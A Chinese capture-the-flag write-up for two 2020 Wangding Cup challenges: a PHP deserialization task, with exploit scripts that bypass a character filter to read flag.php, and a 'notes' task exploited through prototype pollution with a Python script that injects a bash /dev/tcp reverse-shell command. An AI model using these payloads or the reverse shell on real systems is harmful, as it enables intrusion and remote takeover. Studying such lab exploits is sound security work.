网鼎杯 2020 青龙组

AreUSerialz

php 复制代码
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

又是一道反序列化的题目,代码很简单,绕过写,直接读flag.php文件即可,因为你写的内容永远是空的!

php 复制代码
if($this->op === "2")
    $this->op = "1";

强比较直接数字绕过即可!所以主要工作还是在下面这个waf的绕过

php 复制代码
function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

我们知道在private和protected的属性被序列化的时候会出现不可见字符,但是在php7.1+的时候就不敏感了,所以我们可以直接在写exp的时候直接改成public即可!

php 复制代码
<?php

class FileHandler {

    public $op=2;
    public $filename='flag.php';
    public $content;
}
$a = new FileHandler();
echo urlencode(serialize($a));
?>

那么如果它php的版本不是php7.1+呢?那么就利用16进制进行绕过!将%00用\00代替,那么这么解析呢?将s改为S即可!

php 复制代码
<?php

class FileHandler {

    protected $op=2;
    protected $filename='flag.php';
    protected $content;
}
$a = new FileHandler();
$b = urlencode(serialize($a));
$b = str_replace('s', 'S', $b);
$b = str_replace('%00','\00',$b);
echo $b;
?>

notes

弹shell就好了

python 复制代码
import requests

r = requests.Session()
url = 'http://5daa3a2b-1248-48de-b563-0421f168055d.node5.buuoj.cn:81'

a=r.post(url + '/edit_note', data={
      'id': '__proto__',
      'author': '/bin/bash -i >&/dev/tcp/ip/port 0>&1',
      'raw': '111'
  })
print(a.status_code,a.text)
b=r.get(url + '/status')
print(b.status_code,b.text)

mvp结算画面!!!

相关推荐
低调小一18 小时前
深度复盘:KMP 在字节跳动的工程化落地实践
android·kotlin
歪楼小能手21 小时前
Android16系统go版关闭重力旋转开关后缺失手动旋转屏幕悬浮按钮
android·java·平板
崇山峻岭之间21 小时前
Matlab学习记录37
android·学习·matlab
stevenzqzq1 天前
Android 协程 Channel 菜鸟教程
android·channel
遗悲风1 天前
PHP伪协议全面解析:原理、常用场景、攻防实战与安全防护
android·安全·php
撩得Android一次心动1 天前
Android Lifecycle 全面解析:掌握生命周期管理的艺术(源码篇)
android·lifecycle
stevenzqzq1 天前
android fow 限流
android·限流·flow
冬奇Lab1 天前
Android 15 显示子系统深度解析(二):图形缓冲区管理与HWC硬件合成
android
wings专栏1 天前
Android触摸事件分发记录
android
aaajj1 天前
【Android】声控拍照例子
android